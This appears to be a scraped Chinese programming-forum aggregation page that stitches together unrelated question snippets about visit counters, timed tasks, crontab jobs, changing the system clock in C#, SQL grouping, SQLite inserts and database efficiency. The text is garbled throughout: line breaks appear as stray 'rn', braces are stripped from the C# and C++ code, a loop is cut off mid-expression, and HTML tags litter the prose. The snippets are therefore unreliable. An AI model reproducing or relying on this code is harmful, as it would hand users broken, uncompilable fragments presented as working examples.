通过<em>数据库</em>在<em>数据库</em>加一个表,设定一个字段 rn rn如何把每<em>访问</em><em>一次</em>页面字段值+1 rnrn rn当前人数为:人
定时任务(每5分钟执行一次各机房访问接口)
定时任务
asp.net中怎么实现定时函数,过一分钟执行一次,过一分钟执行一次程序。
asp.net中怎么实现定时函数,过<em>一分钟</em>执行<em>一次</em>,过<em>一分钟</em>执行<em>一次</em>程序。
页面刷新一次访问量增加一次
请教各位大哥大姐,foot.jsp页面中需要添加一个功能:页面刷新<em>一次</em><em>访问</em>量增加<em>一次</em>(客户的要求没有办法)rnrn请指教指教,万分感谢!!
如何每隔一分钟修改一次系统时间?
我想让程序每隔一段时间自动去修改<em>一次</em>系统时间,但出现了下面的情况:rnrn例如:当前系统时间为 2008.08.10 23:58 时, 我想让系统时间增加30分钟rn 然后让系统时间变为:2008.08.11 00:28 rnrn但我的代码不知道应该如何去实现.rn代码如下:rnrn[code=C#]rnusing System;rnusing System.Collections.Generic;rnusing System.ComponentModel;rnusing System.Data;rnusing System.Drawing;rnusing System.Text;rnusing System.Windows.Forms;rnusing System.Runtime.InteropServices;rnrnnamespace ChangeDataTimernrn public partial class Form1 : Formrn rn int i = 0;rn DateTime nowtime = new DateTime();rn public Form1()rn rn InitializeComponent();rnrnrn rnrn [DllImport("kernel32.dll")]rn private static extern bool SetLocalTime(ref SYSTEMTIME time);rnrn [StructLayout(LayoutKind.Sequential)]rn private struct SYSTEMTIMErn rn public short year;rn public short month;rn public short day;rn public short hour;rn public short minute;rn public short second;rn rnrnrnrn public static void SetDate(DateTime dt)rn rn SYSTEMTIME st;rn st.year = (short)dt.Year;rn st.month = (short)dt.Month;rn st.day = (short)dt.Day;rn st.hour = (short)(dt.Hour + 1);rn st.minute = (short)(dt.Minute + 13);rn st.second = (short)(dt.Second);rnrn SetLocalTime(ref st);rn rnrnrnrn private void button1_Click(object sender, EventArgs e)rn rn timer1.Interval = 1000;rn timer1.Enabled = true;rn rnrn private void timer1_Tick(object sender, EventArgs e)rn rn nowtime = System.DateTime.Now;rn SetDate(nowtime);rn rnrn private void button2_Click(object sender, EventArgs e)rn rn timer1.Enabled = false;rn rnrnrnrn rnrnrn[/code]rnrn请各位帮帮忙.
每三分钟统计一次数据
有表如下:rnT_Data(DataTime,Press,Flux)rnrn系统每分钟保存一条记录,现需得到如下结果:rn每三分钟的平均Press,与该三分钟的最后一个Flux,作为一条记录保存到另一张表,该条记录的时间也是取三条中的最后一条。rn求此SQL!rnrn实例如:rnDataTime Press Fluxrn2006-8-8 15:24:00 35 2342rn2006-8-8 15:25:00 23 3456rn2006-8-8 15:26:00 565 345rn2006-8-8 15:27:00 37 634rn2006-8-8 15:28:00 98 234rn2006-8-8 15:29:00 2 437rn2006-8-8 15:30:00 354 3653rn2006-8-8 15:31:00 66 21341rn2006-8-8 15:32:00 67 134rn2006-8-8 15:33:00 875 2352rn2006-8-8 15:34:00 355 2452rn2006-8-8 15:35:00 35 23452rn2006-8-8 15:36:00 385 2452rn2006-8-8 15:37:00 35 2435234rnrn即24-26分钟的数据统计为一条rn27-29分钟的数据统计为一条,rnrn不知我说清楚了没有?rnrn急求,谢谢!
请问何谓程序访问数据库一次
在程序中执行statement.excuteQuery(select * from tab)对<em>数据库</em>进行<em>访问</em>rn请问下面的两种情况对<em>数据库</em>的<em>访问</em>次数一样吗,到底何谓<em>访问</em><em>数据库</em><em>一次</em>,怎么对程序<em>访问</em><em>数据库</em>次数进行统计,依据什么?rn1·ResultSet rs = Statement1.excuteQuery("select student_id,student_name form student")rnwhile(rs.next())rnrn rs1= Statement2.excuteQuery(select course_name from courst where id ="+rs.getString("student_id"))rn rnrn2·ResultSet rs = Statement.excuteQuery(select a.student_id,a.student.name,b.course from student a ,course b where a.student.id=b.id)rnwhile(rs.next())rnrnrn这两种写法<em>访问</em><em>数据库</em>的次数一样吗?(student为学生表,course为学生选课表,他们之间通过student_id和id关联,是一对一的)
java线程如何一分钟执行一次
java线程如何<em>一分钟</em>执行<em>一次</em>???哪位高手能给写个例子, 先谢过!~~
crontab每10秒执行一次
crontab每10秒执行<em>一次</em> vim /var/spool/cron/root  * * * * * sleep 10; /usr/bin/curl http://localhost/index.php  * * * * * sleep 20; /usr/bin/curl http://localhost/index.php  * * * * * sleep 30; /usr/bin
sqlite 每50条插一次
上面已经对这50条数据 进行了保存 放在一个数组里rnif (icount==49)///判断数组保存了多少条数据,0到49 共50条数据rn rn for(int i=0;i;rn strmsg=strpath+strmsg;rn theApp.ALLPOSPTR=sqlite_open(strmsg,0666,&(theApp.errMsg));rn CString sql=csposs[i];//csposs[i]保存着50条sql语句.rn eff=sqlite_exec(theApp.ALLPOSPTR,sql,0,0,&(theApp.errMsg));rn if(eff==1)//如果返回1说明没有成功插入 没有当前<em>数据库</em>,需要建立<em>数据库</em>并建表,返回0 执行成功.rn rn ........................rn sqlite_exec(theApp.ALLPOSPTR,cstemp,0,0,&(theApp.errMsg));rn sqlite_exec(theApp.ALLPOSPTR,sql,0,0,&(theApp.errMsg));//然后重新插入 刚才的sql语句.rn rn Sqlite_close(theApp.ALLPOSPTR);//关<em>数据库</em>.rnrnicount=-1;rnrnicount++;//将icount重新附值1.rnrn出现的<em>问题</em>..................客户端连接的多了以后 出现丢失数据的现象 例如4个客户端同时连接这个server如果 每个客户端发50条 一共200条 应该只需要插入4次 但是 在调试过程中 第4次没有插进去 icount为41 就停止了.丢了9条 为什么rn有什么好的处理方法吗 ? 请教
crontab 每10秒执行一次
/bin/date  换成你的脚本就ok了 # crontab -e * * * * * /bin/date >>/tmp/date.txt * * * * * sleep 10; /bin/date >>/tmp/date.txt * * * * * sleep 20; /bin/date >>/tmp/date.txt * * * *
每几分钟监听一次80端口
每几分钟监听<em>一次</em>80端口 看是否通的 这个有没有大神会弄?
oracle 定时器一分钟执行一次成功,一天执行一次失败
我写了个oracle定时器,设置为<em>一分钟</em>执行<em>一次</em>没有<em>问题</em>,但是设置为一天执行<em>一次</em>执行失败。rn由于公司的东西带不出来,也没法上网,代码粘不出来,哪位高手知道告诉一下,谢谢!!rn~~
数据库效率????
在某种业务下数据量很大,就半年下来<em>数据库</em>就可以达到500M以上rn<em>数据库</em>达到一定大小的时候,对<em>数据库</em>的操作就非常的慢,尤其是rn统的。对于这种情况把数据分成多个文件存储会不会好点,或都是rn把一个表的数据分成两个表存,统计时把两个表的数据用unino进行rn进行统计。哪种会好点呢?rn rn 有没有更好意见。
数据库效率
假如一个系统其中一个模块查询数据很慢!不考虑查看代码的前提下你怎么排查!如何确定是逻辑代码<em>问题</em>还是 sql 语句<em>问题</em>?[img=https://forum.csdn.net/PointForum/ui/scripts/csdn/Plugin/003/onion/3.gif][/img]rn
请教大家一个问题,用户访问JSP,每访问一次,容器都建立一个线程吗?
请教大家一个<em>问题</em>,用户<em>访问</em>JSP,每<em>访问</em><em>一次</em>,容器都建立一个线程吗?rn如果不是,请问如何获得用户<em>访问</em>建立的线程开始和销毁事件?
shell定时任务——每10秒访问一次网页/curl 定时访问多参数url的问题
想做个定时任务,可是crontab最小只能<em>一分钟</em>执行<em>一次</em>。 还有就是<em>访问</em>有参数的链接,<em>访问</em>出来的的不一样。 用crontab每分钟执行<em>一次</em>crontab.sh文件 crontab命令 -e : 执行文字编辑器来设定时程表 -r : 删除目前的时程表 -l : 列出目前的时程表 crontab执行命令crontab -e */1 * * * * /bin/sh /home/visionz/cro...
一个关于如何提高访问数据库效率问题
本人开发了一个本企业的进销存管理信息系统,用户初次登入时,必须输入正确的用户名和口令。随着<em>数据库</em>数据量的增大,虽然用户名和口令是正确的,但登入时间越来越长,需要十几二十秒钟才能登入系统,如何优化系统提高连接<em>数据库</em>的<em>效率</em>呢?rn急急急!!!!!先谢谢了!!!
ColumnValues访问效率更高?
在一些资料和帮助上看到说通过ColumnValues<em>访问</em><em>效率</em>更高,做了个实验,发现<em>效率</em>并不快(甚至更慢),希望有经验的高手指教rnrn<em>数据库</em>类型 文档数 <em>访问</em>方式 <em>访问</em>时间rn本地 50,005 域名 9,9,9rn本地 50,005 ColumnValues 10,11,11,rn局域网 1,008 域名 6,7,6rn局域网 1,008 ColumnValues 6,6,7rnrn同一种<em>数据库</em>类型两种<em>访问</em>方式交替执行3次,以下是运行程序:rn Dim uiw As New NotesUIWorkspacern Dim view As NotesViewrn Dim doc As NotesDocumentrn Dim strTemp As Stringrn Dim i As Integerrn Dim dt1 As NotesDateTimern Dim dt2 As NotesDateTimern rn Set view=uiw.CurrentView.Viewrn For i=1 To 3rn Set doc=view.GetFirstDocument()rn Set dt1=New NotesDateTime(Now())rn While Not doc Is Nothingrn strTemp=Cstr(doc.a(0)+doc.b(0)+doc.c(0)+doc.d(0)+doc.e(0)+doc.f(0)+doc.h(0)+doc.i(0))rn Set doc=view.GetNextDocument(doc)rn Wendrn Set dt2=New NotesDateTime(Now())rn Print "M1:" + Cstr(dt2.TimeDifferenceDouble(dt1))rn rn Set doc=view.GetFirstDocument()rn Set dt1=New NotesDateTime(Now())rn While Not doc Is Nothingrn strTemp=Cstr(doc.ColumnValues(1)+doc.ColumnValues(2)+doc.ColumnValues(3)+doc.ColumnValues(4) _rn +doc.ColumnValues(5)+doc.ColumnValues(6)+doc.ColumnValues(7)+doc.ColumnValues(8))rn Set doc=view.GetNextDocument(doc)rn Wendrn Set dt2=New NotesDateTime(Now())rn Print "M2:" + Cstr(dt2.TimeDifferenceDouble(dt1))rn Nextrn Print "the end"
jQuery访问效率
背景:要求做页面一开始生成一级菜单,点击一级菜单能生成二级菜单,而且菜单栏可以伸缩。一开始我用的方法是:每点击<em>一次</em>一级菜单,调用生成二级菜单的函数。但是这样子就要ajax就要不停地发送<em>访问</em>请求,而且请求会重复,并且耗时。后来前辈说,可以一开始就生成所有信息,先隐藏不显示,调用时再进行显示。于是我用以下的方法:先将所有请求<em>访问</em>到,得到的结果先不显示(可以在css中用dispaly:none 来隐藏)...
一分钟
<em>一分钟</em>新闻客户端,第<em>一次</em>写网页!
Visual C++6.0技术内幕下载
Visual C++6.0技术内幕^_^Visual C++6.0技术内幕 相关下载链接:[url=//download.csdn.net/download/llleahdizon/2195699?utm_source=bbsseo]//download.csdn.net/download/llleahdizon/2195699?utm_source=bbsseo[/url]
ie8daquan-3下载
ie8daquan-3ie8daquan-3ie8daquan-3 相关下载链接:[url=//download.csdn.net/download/accplxm/2715564?utm_source=bbsseo]//download.csdn.net/download/accplxm/2715564?utm_source=bbsseo[/url]
JavaScript特效大全下载
JavaScript特效大全 JavaScript特效大全 相关下载链接:[url=//download.csdn.net/download/dylan72/2828704?utm_source=bbsseo]//download.csdn.net/download/dylan72/2828704?utm_source=bbsseo[/url]
相关热词 c# 标准差 计算 c#siki第五季 c#入门推荐书 c# 解码海康数据流 c# xml的遍历循环 c# 取 查看源码没有的 c#解决高并发 委托 c#日期转化为字符串 c# 显示问号 c# 字典对象池
我们是很有底线的